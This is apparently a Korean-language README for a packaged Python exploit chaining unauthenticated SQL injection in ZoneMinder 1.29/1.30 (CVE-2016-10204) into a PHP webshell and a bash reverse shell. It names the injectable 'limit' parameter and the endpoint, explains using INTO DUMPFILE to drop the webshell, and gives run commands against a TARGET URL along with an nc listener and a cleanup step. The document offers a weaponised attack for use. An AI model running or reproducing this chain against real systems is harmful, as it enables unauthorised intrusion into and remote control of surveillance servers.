
ZoneMinder 1.29/1.30 대상 인증 불필요 SQL 인젝션을 통한 RCE 익스플로잇 (CVE-2016-10204, EDB-41239). 단일 명령 SQLi에서 웹셸을 거쳐 리버스 셸로 이어지는 Python PoC.
ZoneMinder 1.29/1.30에서 인증되지 않은 SQL 인젝션(CVE-2016-10204, EDB-41239)을 대화형 리버스 셸까지 연결하는 즉시 실행 가능한 Python 익스플로잇입니다.
이는 알려지고 패치된 CVE에 대한 무기화/자동화된 PoC이며, 새로운 익스플로잇이 아닙니다.
이 버그에 대한 EDB PoC는 SQLi 페이로드에서 멈추거나 "sqlmap을 여기에 겨누세요" 수준입니다. 이 익스플로잇은 전체 SQLi → 웹셸 → 셸 체인을 하나의 읽기 쉬운 스크립트로 패키징합니다.
index.php?view=request&request=log&task=query의 limit POST
파라미터에 시간 기반(SLEEP) 프로브를 보내 인젝션을 확인합니다.SELECT ... INTO DUMPFILE을 통해 웹 루트에 작은 PHP 웹셸을 작성하며,
여러 일반적인 ZoneMinder/Apache 경로를 시도합니다.bash 리버스 셸을 발사합니다.OUTFILE이 아닌 DUMPFILE. OUTFILE은 개행을 이스케이프하여
여러 줄 PHP를 망가뜨리지만, DUMPFILE은 원시 바이트를 기록하므로 웹셸이 유효하게 유지됩니다.# 셸 획득
python3 zm-exploit.py -u http://TARGET/zm/ -l YOUR_IP -p 443
# 프롬프트가 표시되면 다른 터미널에서 리스너 시작
sudo nc -lvnp 443
# 이후, 드롭된 웹셸 제거 (이름은 마지막에 출력됨)
python3 zm-exploit.py -u http://TARGET/zm/ --cleanup a1b2c3d4.php
MIT, LICENSE 참조.